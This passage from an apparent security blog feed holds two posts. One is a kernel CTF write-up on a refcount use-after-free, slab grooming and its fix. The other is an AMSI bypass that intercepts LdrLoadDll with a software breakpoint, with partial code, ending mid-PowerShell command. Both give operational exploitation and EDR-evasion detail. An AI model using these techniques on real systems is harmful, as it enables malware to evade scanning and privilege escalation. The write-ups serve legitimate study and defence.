<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">cpu_set_t</span> mask;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CPU_ZERO</span>(<span style="color:#f92672">&amp;</span>mask);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">CPU_SET</span>(target_cpu, <span style="color:#f92672">&amp;</span>mask);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">sched_setaffinity</span>(<span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(mask), <span style="color:#f92672">&amp;</span>mask);
</span></span></code></pre></div><p>Now only threads scheduled on the same CPU compete for your freelist. If the system has $C$ physical CPUs and the load is balanced, the effective competing rate drops from $\lambda$ to $\lambda / C$.</p>
<p>On a 4-core machine: $\lambda_{\text{eff}} = \lambda / 4$. On an 8-core machine: $\lambda / 8$.</p>
<p>Better: if you know which CPU has the lightest load (readable from <code>/proc/stat</code>), pin there. Kernel background threads like kworkers are not uniformly distributed. CPU 0 typically runs more system work; higher-numbered CPUs are often quieter on desktop systems.</p>
<p>The full model with CPU pinning becomes:</p>
$$\mu_{\text{eff}} = \frac{\lambda}{C} \cdot \tau$$<p>Combining with the $\tau$-minimization from above, on an 8-core system with $\tau = 50\ \text{ns}$:</p>
$$\mu_{\text{eff}} = \frac{10^4}{8} \times 50 \times 10^{-9} \approx 6 \times 10^{-5}$$$$P(\text{no competition}) \approx 1 - 6 \times 10^{-5}$$<p>At this point a spray of $S = 2$ is already $P > 0.9999$.</p>
<h3 id="source-3-freelist-depth-grooming-to-f--1">Source 3: Freelist Depth, Grooming to $F = 1$</h3>
<p>Even with $\tau$ and $\lambda$ under control, we&rsquo;re still at the mercy of $F$: the number of free chunks in the per-CPU freelist when the UAF triggers. If other threads freed a lot of <code>kmalloc-64</code> objects recently, $T$ might not even be at position 1.</p>
<p>The solution is <strong>slab grooming</strong>: arrange the heap so that when we do <code>kfree(page0)</code>, $T$ ends up as the <em>only</em> free object on its slab page.</p>
<p>SLUB organizes objects in slab pages (typically 4 KB or 8 KB pages housing multiple objects). Each slab page has a fixed number of slots. For <code>kmalloc-64</code> on x86-64, a single slab page holds 64 objects (4096 / 64 = 64 slots, minus a small header).</p>
<p><strong>The grooming algorithm:</strong></p>
<pre tabindex="0"><code>Step 1. Exhaust the per-CPU freelist.
        Allocate kmalloc-64 objects in a tight loop until you notice
        SLUB has to fetch a new slab page from the partial list.
        Concretely: open many fds, each forces 8 xss_page allocations.
        Stop when a fresh slab page is pulled in.

Step 2. Fill all but one slot on that fresh slab page.
        Allocate 63 more xss_page objects (63/64 slots filled).
        The page now has exactly 1 free slot.

Step 3. Trigger the UAF.
        kfree(page0) places T into that 1 free slot.
        The slab page now transitions from &#34;partial (1 free)&#34; to
        &#34;partial (1 free after our kfree added it back)&#34;...
        but since no other slot is free, T IS the only choice.

Step 4. Spray.
        The next kmalloc-64 *must* return T.
        There is nothing else on that slab page to return.
</code></pre><p>The math here is trivial because we engineered away the randomness. The freelist of that slab page has $F = 1$. The probability of getting $T$ is:</p>
$$P(\text{success} \mid F=1) = 1$$<p>No spray needed. No Poisson. No Chernoff bound. Just one allocation and it&rsquo;s $T$.</p>
<p>The catch: Step 1 and Step 2 require knowing how many objects are already in the per-CPU freelist and on the current slab page. You can estimate this with a timing oracle (measuring <code>kmalloc</code> latency spikes that indicate slab page transitions), or you can simply over-allocate and then free a predictable number back. Over-allocating is the practical approach for a CTF.</p>
<h3 id="the-full-model-with-all-three-combined">The Full Model with All Three Combined</h3>
<p>With $\tau$ minimized, $\lambda$ reduced by CPU pinning, and $F = 1$ via grooming:</p>
<p>The position of $T$ in the freelist is deterministically 1 (the only slot). Even if a competing allocation fires during the window:</p>
<ul>
<li>If it hits our slab page: it takes $T$. We fail for this attempt.</li>
<li>But with $\mu_{\text{eff}} \approx 6 \times 10^{-5}$, the probability of even one competing hit is negligible.</li>
</ul>
<p>The <strong>information-theoretic view</strong>: spray success is uncertain because we do not know where $T$ landed in the freelist. Each technique reduces the <em>entropy</em> of $T$&rsquo;s position. Grooming to $F = 1$ reduces it to zero bits. At zero entropy, no spray is needed at all.</p>
$$H(\mathrm{pos}(T)) = -\sum_{k} P(\mathrm{pos}(T) = k) \log_2 P(\mathrm{pos}(T) = k)$$<ul>
<li>No grooming, $\mu = 1$: $H \approx 1.5$ bits of uncertainty.</li>
<li>CPU pinning only: $H \approx 0.8$ bits.</li>
<li>Grooming only ($F = 1$): $H = 0$ bits (deterministic).</li>
<li>All three combined: $H = 0$ bits, and the tiny residual race probability approaches $\mu_{\text{eff}} \approx 10^{-5}$.</li>
</ul>
<h3 id="what-about-config_slab_freelist_random">What About <code>CONFIG_SLAB_FREELIST_RANDOM</code>?</h3>
<p>This kernel config (enabled on hardened kernels, Android, Ubuntu 22.04+) randomizes the freelist order within each slab page. Instead of LIFO, the order is shuffled at slab page initialization time.</p>
<p>With randomization: $T$&rsquo;s position is uniform over $[1, F]$, so $P(\text{success} \mid S) = \min(S/F, 1)$. To hit $T$ reliably you now need $S \approx F$, which for <code>kmalloc-64</code> means spraying all 64 slots. That is a lot of chunks.</p>
<p>The grooming approach kills this mitigation entirely. If $F = 1$, the freelist has one element, randomization does nothing, and $T$ is still the only possible return value. Grooming is not just an optimization, on hardened kernels it is the only reliable path.</p>
<p>This is also why <code>CONFIG_SLAB_FREELIST_RANDOM</code> was <em>not</em> a blocker for this challenge even if it had been enabled: the per-fd allocation pattern (8 <code>xss_page</code> allocs per open) makes it straightforward to groom the slab into a deterministic state before pulling the trigger.</p>
<h2 id="unintended-paths-and-what-they-reveal">Unintended Paths and What They Reveal</h2>
<p>This section is the more interesting one for me. When you design a challenge, people find paths you never thought of, and those paths are usually more educational than the intended one. Here are the ones I had in mind while building the hardening, plus some I discovered after.</p>
<h3 id="double-free-via-multiple-imports">Double Free via Multiple Imports</h3>
<p>The import path does not prevent you from importing the same token twice. Import token T as both &ldquo;B&rdquo; and &ldquo;C&rdquo; and both snapshots now hold pointers to <code>page0</code> without bumping its refcount. The accounting then becomes:</p>
<pre tabindex="0"><code>page0.refs = 2  (current_slots[0] + snap_A)
import T as B -&gt; page0.refs = 2  (no bump)
import T as C -&gt; page0.refs = 2  (no bump)

delete A -&gt; page0.refs: 2 -&gt; 1
delete B -&gt; page0.refs: 1 -&gt; 0 -&gt; kfree(page0-&gt;data), kfree(page0)
delete C -&gt; page0.refs: 0 -&gt; -1 -&gt; kfree on already-freed memory
</code></pre><p>That is a <strong>double free</strong>. In SLUB, double-freeing a chunk corrupts the freelist. A controlled double free can give you a chunk at an arbitrary address if you can manipulate the freelist state. This is arguably a stronger primitive than the intended path, and it came entirely out of the same missing <code>xss_page_get</code>.</p>
<h3 id="kmalloc-64-spray-without-the-usual-tools">kmalloc-64 Spray Without the Usual Tools</h3>
<p>The usual way to spray <code>kmalloc-64</code> from userspace is through <code>SOCK_DIAG</code> or <code>AF_ALG</code> sockets, both of which go through <code>CONFIG_CRYPTO_USER_API</code>. I disabled those in the kernel config for exactly this reason and left a troll message in the log for anyone who tries. But <code>kmalloc-64</code> is everywhere in the kernel.</p>
<p><strong>Open more /dev/xsskernel fds.</strong> Each <code>open()</code> allocates 8 <code>xss_page</code> structs in <code>kmalloc-64</code>. Open 16 fresh fds and you spray 128 chunks. You can write controlled data into them through their slot 0. This is the cleanest approach and it keeps you entirely within the driver&rsquo;s own API.</p>
<p><strong>Pipe buffers.</strong> <code>struct pipe_buffer</code> is 40 bytes, so it lands in <code>kmalloc-64</code>. Create a large number of pipes and write one byte to each to force the allocation. Reading from the pipe frees it, giving you controlled release timing.</p>
<p><strong>setxattr.</strong> On most kernels, <code>setxattr</code> with a 64-byte value allocates a <code>kmalloc-64</code> chunk for the value buffer. The allocation is ephemeral but with timing control you can use it for race-based attacks. Not useful here without a race, but worth knowing.</p>
<p>The key insight is that <code>kmalloc-64</code> is a shared pool. Anything that allocates a 33 to 64 byte struct ends up there. Finding the right object is about knowing your kernel data structures and their sizes.</p>
<h3 id="xss_write_fast-as-a-standalone-angle">XSS_WRITE_FAST as a Standalone Angle</h3>
<p>The <code>XSS_WRITE_FAST</code> flag was designed as a performance optimization: it skips the CoW check and writes directly into a slot even if that slot is shared. The comment in the code says &ldquo;caller asserts the slot is private.&rdquo; In a CTF challenge, &ldquo;caller asserts&rdquo; is a red flag.</p>
<p>Even without the UAF you can abuse this. After a snapshot is taken, <code>current_slots[0]</code> and <code>snap.slots[0]</code> both point to the same <code>xss_page</code> with <code>refs = 2</code>. A FAST write goes straight to <code>copy_from_user(cur-&gt;data + offset, ...)</code> with no refcount check, corrupting the snapshot in place.</p>
<p>On its own that is just data corruption inside the driver. But combined with the UAF, FAST write is what makes the exploit work: the UAF gives you a dangling pointer to a recycled chunk, and FAST write lets you use that pointer without triggering the CoW branch that would swap out the slot.</p>
<h3 id="the-read-primitive-as-an-information-leak">The Read Primitive as an Information Leak</h3>
<p>After the UAF and before spray, <code>current_slots[0]</code> points to a freed <code>kmalloc-64</code> chunk. If SLUB has already handed that chunk to something else, reading through slot 0 with <code>XSS_IOCTL_READ</code> copies the contents of that new object to userspace.</p>
<p>In environments where <code>kptr_restrict=1</code>, this is how you do your kernel pointer leak: trigger the UAF, wait for the slab to be recycled by an object containing a kernel address (a linked list pointer, a function pointer, anything), read slot 0, extract the address. I set <code>kptr_restrict=0</code> to make the challenge accessible, but against a production kernel this read primitive is the first thing you reach for.</p>
<h3 id="the-verify-oracle">The Verify Oracle</h3>
<p><code>xss_op_verify</code> compares two slots byte by byte with <code>memcmp</code>. One of those slots can be the UAF slot. This lets you probe heap state without leaking data to userspace: compare the UAF slot against a slot with known content and you get a yes/no answer about a specific byte.</p>
<p>Not useful when you have the read primitive, but in a more restricted environment where <code>XSS_IOCTL_READ</code> were gated behind a check, the verify oracle lets you do a byte by byte leak with 256 comparisons per byte. Slow but it works, and it is a fun technique.</p>
<h2 id="the-fix">The Fix</h2>
<p>One line:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// in xss_op_import, change:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>new_s<span style="color:#f92672">-&gt;</span>slots[i] <span style="color:#f92672">=</span> src<span style="color:#f92672">-&gt;</span>slots[i];
</span></span><span style="display:flex;"><span><span style="color:#75715e">// to:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>new_s<span style="color:#f92672">-&gt;</span>slots[i] <span style="color:#f92672">=</span> <span style="color:#a6e22e">xss_page_get</span>(src<span style="color:#f92672">-&gt;</span>slots[i]);
</span></span></code></pre></div><p>That is it. <code>xss_page_get</code> bumps the refcount so the imported snapshot actually owns its page references. The UAF, the double free, all of it disappears with 16 extra characters.</p>
<p>The bug class is inspired by a real driver vulnerability I ran across during source review work. Same primitive, different surface. Refcount bugs in kernel drivers that share objects across file descriptor boundaries are genuinely underexplored. Most reviewers check write and ioctl paths for bounds violations and miss the lifecycle edges entirely.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Designing a kernel challenge is basically writing a tiny OS component with an intentional lifecycle bug hidden inside normal-looking code. The exploit path is: find the missing refcount bump, cause a use-after-free, reclaim the freed slab with controlled content, corrupt a kernel pointer, arbitrary write, root.</p>
<p>The real skill tested here is not &ldquo;can you exploit a UAF.&rdquo; That is a known technique with a known playbook. The skill is &ldquo;can you read 500 lines of driver code and find the one place where a ref is not bumped.&rdquo; Everything else follows from that.</p>
<p>But the more I think about it, the more I appreciate the unintended paths. The double free from multiple imports is a cleaner primitive. The read oracle approach teaches you how UAF leaks work in restricted environments. The FAST write flag is a footgun that deserves its own writeup someday.</p>
<p>Thanks to the Thcon crew for running the infra. Hope people had fun or were properly frustrated.</p>
<p>0x3lk</p>
]]></description><media:thumbnail url="https://0x3lk.github.io/images/xsskernel/berserk.jpg"/></item><item><title>Using Software Breakpoints to Break Internal Security Mechanisms</title><link>https://0x3lk.github.io/posts/amsi-bypass/</link><pubDate>Mon, 17 Nov 2025 00:00:00 +0000</pubDate><author>oussamaeuler@gmail.com (0x3lk)</author><guid>https://0x3lk.github.io/posts/amsi-bypass/</guid><description><![CDATA[<h2 id="introduction">Introduction</h2>
<p>I was messing around with the .NET CLR one day, loading assemblies, poking at entry points, and at some point I started wondering what actually happens between <code>Assembly.Load()</code> and execution? That curiosity eventually dragged me into AV/EDR internals, and once you go down that road, you don&rsquo;t really come back.</p>
<p>The thing that surprised me most wasn&rsquo;t how complex these defenses are. It&rsquo;s how close they are. AMSI, ETW hooks, EDR callbacks, they all run in the same process as your code. Same address space. That means one question keeps coming up: if it runs next to me, can I stop it before it runs?</p>
<p>Turns out, a single byte answers that question. <code>0xCC</code> is something I&rsquo;d only ever thought of as a debugger thing. But once you realize you can place it anywhere, read the register context on the exception, and redirect execution however you want, it stops being a debugger tool and starts being something else entirely. This post is about that. I&rsquo;m using AMSI as the concrete example, but the idea applies anywhere a security component loads through a predictable function.</p>
<h2 id="the-primitive-software-breakpoints">The Primitive: Software Breakpoints</h2>
<p><code>0xCC</code> is <code>INT3</code>. One byte. When the CPU hits it, execution stops and an <code>EXCEPTION_BREAKPOINT</code> is raised. Every debugger in existence uses this: set a breakpoint, CPU traps, you inspect state, you continue.</p>
<p>What makes it interesting from an offensive angle is what&rsquo;s available at the moment of the trap: the full x64 register context. RCX, RDX, R8, R9 are exactly the first four arguments of whatever function you patched. You can read them, modify them, fake the return value in RAX, and jump wherever you want. No debug registers touched. No <code>NtSetContextThread(CONTEXT_DEBUG_REGISTERS)</code>. No ETW trace for that. Just a byte write and an exception handler.</p>
<p>The thing that clicked for me: controlling the exception handler means controlling every call to every function you&rsquo;ve patched. It&rsquo;s not just a hook, it&rsquo;s a policy engine.</p>
<h2 id="what-is-amsi">What is AMSI?</h2>
<p><a href="https://learn.microsoft.com/fr-fr/windows/win32/amsi/antimalware-scan-interface-portal">AMSI</a> is a Windows interface that allows applications (like PowerShell, WMI, JScript, VBScript, and the .NET runtime) to submit memory buffers, scripts, in-memory assemblies, or dynamically compiled code to registered antivirus engines for scanning <strong>before execution</strong>.</p>
<p>It operates at the <strong>user-mode API level</strong> via <code>AmsiScanBuffer()</code>, enabling real-time malware detection regardless of the source (file, stream, or memory).</p>
<p>So loading an assembly is not that easy anymore. <code>PowerShell.Invoke()</code>, <code>.NET Assembly.Load(byte[])</code>, <code>Add-Type</code> all trigger AMSI and spawn <code>amsi.dll</code> directly in your process.</p>
<p>Well, bypassing it is easy and not easy at the same time. Regardless of many techniques in the Red Team area, EDRs and detection systems are too fast to enhance their defenses and stay ahead.</p>
<p><img src="/images/amsi-bypass/amsi.jpg" alt="AMSI Overview"></p>
<h2 id="the-problem-with-traditional-amsi-patching">The Problem with Traditional AMSI Patching</h2>
<p>A famous technique for bypassing AMSI is to <strong>patch it</strong>: locate <code>AmsiScanBuffer()</code> in the process address space and either:</p>
<ul>
<li>Patch the return address to skip the jump to <code>AmsiScanBuffer()</code></li>
<li>Patch its arguments, feeding it a null byte instead of the malicious code</li>
</ul>
<p>But it&rsquo;s <strong>heavily detected</strong> due to:</p>
<ul>
<li>Suspicious API call sequence: <code>VirtualProtect</code> then <code>WriteProcessMemory</code> then <code>GetProcAddress(&quot;AmsiScanBuffer&quot;)</code></li>
<li>YARA rules matching known byte patterns like <code>48 31 C0 C3</code> (<code>xor rax,rax; ret</code>)</li>
</ul>
<p><img src="/images/amsi-bypass/amsiscanbuffer.png" alt="AmsiScanBuffer Patch"></p>
<p>So I started searching for a way to <strong>kill <code>amsi.dll</code></strong> entirely, not let it attach to my process at all. That&rsquo;s when I found <a href="https://cymulate.com/blog/blindside-a-new-technique-for-edr-evasion-with-hardware-breakpoints/">BlindSide</a>.</p>
<h2 id="blindside-technique">BlindSide Technique</h2>
<p>BlindSide sets a <strong>hardware breakpoint (DR0)</strong> on <code>LdrLoadDll</code> in a debugged child process, blocks all DLL loads after <code>ntdll.dll</code>, then copies the unhooked <code>.text</code> section into the target process to unhook EDR-instrumented syscalls.</p>
<p>Interesting, but it came with serious problems.</p>
<h2 id="problems-with-blindside-hwbp">Problems with BlindSide (HWBP)</h2>
<p><strong>1. Debug registers are flagged.</strong></p>
<p>Touching DR0 through DR7 is heavily monitored. <code>NtSetContextThread()</code> calls <code>EtwWrite</code> internally, and the usage is recorded by ETW and picked up by EDRs.</p>
<p><img src="/images/amsi-bypass/Etwi.png" alt="ETW Write in NtSetContextThread"></p>
<p><strong>2. BlindSide lets <code>amsi.dll</code> load first</strong>, then unhooks <code>ntdll</code> (overkill), which can be caught by the same YARA rules used for patching.</p>
<p><strong>3. Putting <code>LdrLoadDll</code> or <code>AmsiScanBuffer</code> addresses directly into debug registers</strong> is trivially inspectable by EDRs.</p>
<p><img src="/images/amsi-bypass/debug_register.png" alt="Debug Registers Inspection"></p>
<h2 id="my-approach">My Approach</h2>
<p>I tried to fix all of the above. The core idea: <strong>stop <code>amsi.dll</code> before it even loads</strong> using a <strong>software breakpoint (<code>0xCC</code>)</strong> instead of a hardware one.</p>
<p>Key improvements:</p>
<table>
  <thead>
      <tr>
          <th>Property</th>
          <th>BlindSide</th>
          <th>My Technique</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Breakpoint type</td>
          <td>Hardware (DR0)</td>
          <td>Software (<code>0xCC</code>)</td>
      </tr>
      <tr>
          <td>Debug registers</td>
          <td>Used</td>
          <td>Zero <code>SetThreadContext(CONTEXT_DEBUG_REGISTERS)</code></td>
      </tr>
      <tr>
          <td>Process target</td>
          <td>Dummy child process</td>
          <td>Direct debug via <code>DEBUG_PROCESS</code></td>
      </tr>
      <tr>
          <td>ntdll unhooking</td>
          <td>Full <code>.text</code> copy</td>
          <td>None, no memory copy, no <code>PAGE_EXECUTE_READWRITE</code></td>
      </tr>
      <tr>
          <td>ASLR handling</td>
          <td>Hardcoded offset (fragile)</td>
          <td>Local <code>ntdll.dll</code> offset matching (safe)</td>
      </tr>
      <tr>
          <td>Footprint</td>
          <td>Heavy</td>
          <td>1-byte touch, self-healing via Trap Flag</td>
      </tr>
  </tbody>
</table>
<p>The <code>LdrLoadDll</code> function becomes a <strong>firewall</strong>. Any attempt to load <code>amsi.dll</code> gets silently killed.</p>
<h2 id="how-ldrloaddll-works-x64-calling-convention">How LdrLoadDll Works (x64 Calling Convention)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>NTSTATUS <span style="color:#a6e22e">LdrLoadDll</span>(
</span></span><span style="display:flex;"><span>    PWCHAR          PathToFile,      <span style="color:#75715e">// RCX: optional search path
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    ULONG           Flags,           <span style="color:#75715e">// RDX
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    PUNICODE_STRING ModuleFileName,  <span style="color:#f92672">//</span> R8:  DLL name (<span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;amsi.dll&#34;</span>)
</span></span><span style="display:flex;"><span>    PHANDLE         ModuleHandle     <span style="color:#75715e">// R9:  output: base address
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>);
</span></span></code></pre></div><p>Called by <code>LoadLibrary</code>, the CLR, PowerShell, etc. It resolves the path, maps the DLL, and runs <code>DllMain</code>. If this fails, the DLL never loads.</p>
<h2 id="exploitation-strategy">Exploitation Strategy</h2>
<p><strong>Step-by-step process:</strong></p>
<table>
  <thead>
      <tr>
          <th>Step</th>
          <th>Action</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>Launch target (e.g., <code>powershell.exe</code>) under <code>DEBUG_PROCESS</code></td>
      </tr>
      <tr>
          <td>2</td>
          <td>Wait for <code>ntdll.dll</code> to load, then locate <code>LdrLoadDll</code> via offset matching</td>
      </tr>
      <tr>
          <td>3</td>
          <td>Inject <code>0xCC</code> (INT3) at <code>LdrLoadDll</code> entry, which triggers <code>EXCEPTION_BREAKPOINT</code></td>
      </tr>
      <tr>
          <td>4</td>
          <td>On trap: read R8, read the remote <code>UNICODE_STRING</code>, check if it&rsquo;s <code>&quot;amsi.dll&quot;</code>. If yes: null out <code>ModuleHandle</code> (R9), set <code>RAX = STATUS_DLL_NOT_FOUND</code>, jump to return address. If no: single-step to restore <code>0xCC</code></td>
      </tr>
      <tr>
          <td>5</td>
          <td>Result: <code>LdrLoadDll</code> returns failure and <code>amsi.dll</code> never maps</td>
      </tr>
  </tbody>
</table>
<h2 id="implementation-details">Implementation Details</h2>
<h3 id="1-remote-memory-rw">1. Remote Memory R/W</h3>
<p><code>ReadProcessMemory</code> + <code>WriteProcessMemory</code> + <code>FlushInstructionCache</code> for stealthy cross-process access:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">read_target_memory</span>(LPCVOID addr, <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>buf, SIZE_T size) {
</span></span><span style="display:flex;"><span>    SIZE_T read <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> ReadProcessMemory(g_process_handle, addr, buf, size, <span style="color:#f92672">&amp;</span>read) <span style="color:#f92672">&amp;&amp;</span> read <span style="color:#f92672">==</span> size;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">write_target_memory</span>(LPVOID addr, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>buf, SIZE_T size) {
</span></span><span style="display:flex;"><span>    SIZE_T written <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> WriteProcessMemory(g_process_handle, addr, buf, size, <span style="color:#f92672">&amp;</span>written) <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>           written <span style="color:#f92672">==</span> size <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>           FlushInstructionCache(g_process_handle, addr, size);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="2-1-byte-modification-at-ldrloaddll">2. 1-Byte Modification at LdrLoadDll</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">install_interception_point</span>(LPVOID func_addr, BYTE <span style="color:#f92672">*</span>backup) {
</span></span><span style="display:flex;"><span>    BYTE current;
</span></span><span style="display:flex;"><span>    BYTE int3 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xCC</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>read_target_memory(func_addr, <span style="color:#f92672">&amp;</span>current, <span style="color:#ae81ff">1</span>)) <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">*</span>backup <span style="color:#f92672">=</span> current;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> modify_executable_memory(func_addr, <span style="color:#f92672">&amp;</span>int3, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="3-intercept-and-kill-amsidll">3. Intercept and Kill amsi.dll</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (check_for_specific_module(module_name_buffer)) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Null out ModuleHandle (R9)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    ULONGLONG null_handle <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    write_target_memory((LPVOID)thread_context.R9, <span style="color:#f92672">&amp;</span>null_handle, <span style="color:#ae81ff">8</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Force failure
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    thread_context.Rax <span style="color:#f92672">=</span> STATUS_DLL_NOT_FOUND;  <span style="color:#75715e">// 0xC0000135
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Jump to return address (bypass function body)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    ULONGLONG ret_addr;
</span></span><span style="display:flex;"><span>    read_target_memory((LPCVOID)thread_context.Rsp, <span style="color:#f92672">&amp;</span>ret_addr, <span style="color:#ae81ff">8</span>);
</span></span><span style="display:flex;"><span>    thread_context.Rsp <span style="color:#f92672">+=</span> <span style="color:#ae81ff">8</span>;
</span></span><span style="display:flex;"><span>    thread_context.Rip <span style="color:#f92672">=</span> ret_addr;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="4-single-step-re-arming-trap-flag">4. Single-Step Re-arming (Trap Flag)</h3>
<p>The <code>0xCC</code> is a one-time trap. After intercepting a non-target DLL, we re-arm it using the <strong>Trap Flag (TF)</strong> in EFLAGS. This triggers a <code>SINGLE_STEP</code> exception after the next instruction, where we restore the <code>0xCC</code>. Self-healing, minimal footprint.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">prepare_single_step_execution</span>(HANDLE <span style="color:#66d9ef">thread</span>, CONTEXT ctx, DWORD tid) {
</span></span><span style="display:flex;"><span>    ctx.EFlags <span style="color:#f92672">|=</span> <span style="color:#ae81ff">0x100</span>;  <span style="color:#75715e">// Set Trap Flag (TF)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    SetThreadContext(<span style="color:#66d9ef">thread</span>, <span style="color:#f92672">&amp;</span>ctx);
</span></span><span style="display:flex;"><span>    g_awaiting_reactivation_id <span style="color:#f92672">=</span> tid;
</span></span><span style="display:flex;"><span>    CloseHandle(<span style="color:#66d9ef">thread</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="5-finding-ldrloaddll-aslr-safe">5. Finding LdrLoadDll (ASLR-Safe)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>HMODULE local_ntdll <span style="color:#f92672">=</span> GetModuleHandleA(<span style="color:#e6db74">&#34;ntdll.dll&#34;</span>);
</span></span><span style="display:flex;"><span>FARPROC local_LdrLoadDll <span style="color:#f92672">=</span> GetProcAddress(local_ntdll, <span style="color:#e6db74">&#34;LdrLoadDll&#34;</span>);
</span></span><span style="display:flex;"><span>uintptr_t offset <span style="color:#f92672">=</span> (uintptr_t)local_LdrLoadDll <span style="color:#f92672">-</span> (uintptr_t)local_ntdll;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>g_intercept_function_addr <span style="color:#f92672">=</span> (BYTE<span style="color:#f92672">*</span>)g_target_module_base <span style="color:#f92672">+</span> offset;
</span></span></code></pre></div><p>Since ASLR randomizes the base, but <code>ntdll.dll</code> loads at the <strong>same base across all processes on the same boot</strong>, the offset from the local process is valid for the target.</p>
<blockquote>
<p>For security considerations, only the conceptual approach and partial code are shared here.</p>
</blockquote>
<h2 id="test-on-windows-10-with-updated-mde">Test on Windows 10 with Updated MDE</h2>
<h3 id="without-bypass">Without Bypass</h3>
<p>A normal PowerShell session where <code>amsi.dll</code> is loaded and active. Trying to run <code>Invoke-Mimikatz</code> or load a flagged assembly is blocked immediately.</p>
<p><img src="/images/amsi-bypass/without_bypass.png" alt="Without Bypass amsi.dll loaded"></p>
<h3 id="with-bypass">With Bypass</h3>
<p><code>amsi.dll</code> is never welcomed into the process. The DLL load is intercepted at <code>LdrLoadDll</code>, the return is faked as <code>STATUS_DLL_NOT_FOUND</code>, and PowerShell runs without AMSI.</p>
<p><img src="/images/amsi-bypass/with_bypass.png" alt="With Bypass amsi.dll blocked"></p>
<h2 id="real-world-test-loading-rubeus-in-memory">Real-World Test: Loading Rubeus In-Memory</h2>
<p>The real challenge: load a <strong>flagged .NET assembly</strong> entirely in memory using PowerShell, without writing it to disk.</p>
<p>We convert <code>Rubeus.exe</code> bytes to Base64 and invoke its entry point:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>[<span style="color:#66d9ef">System.Reflection.Assembly</span>]::Load(
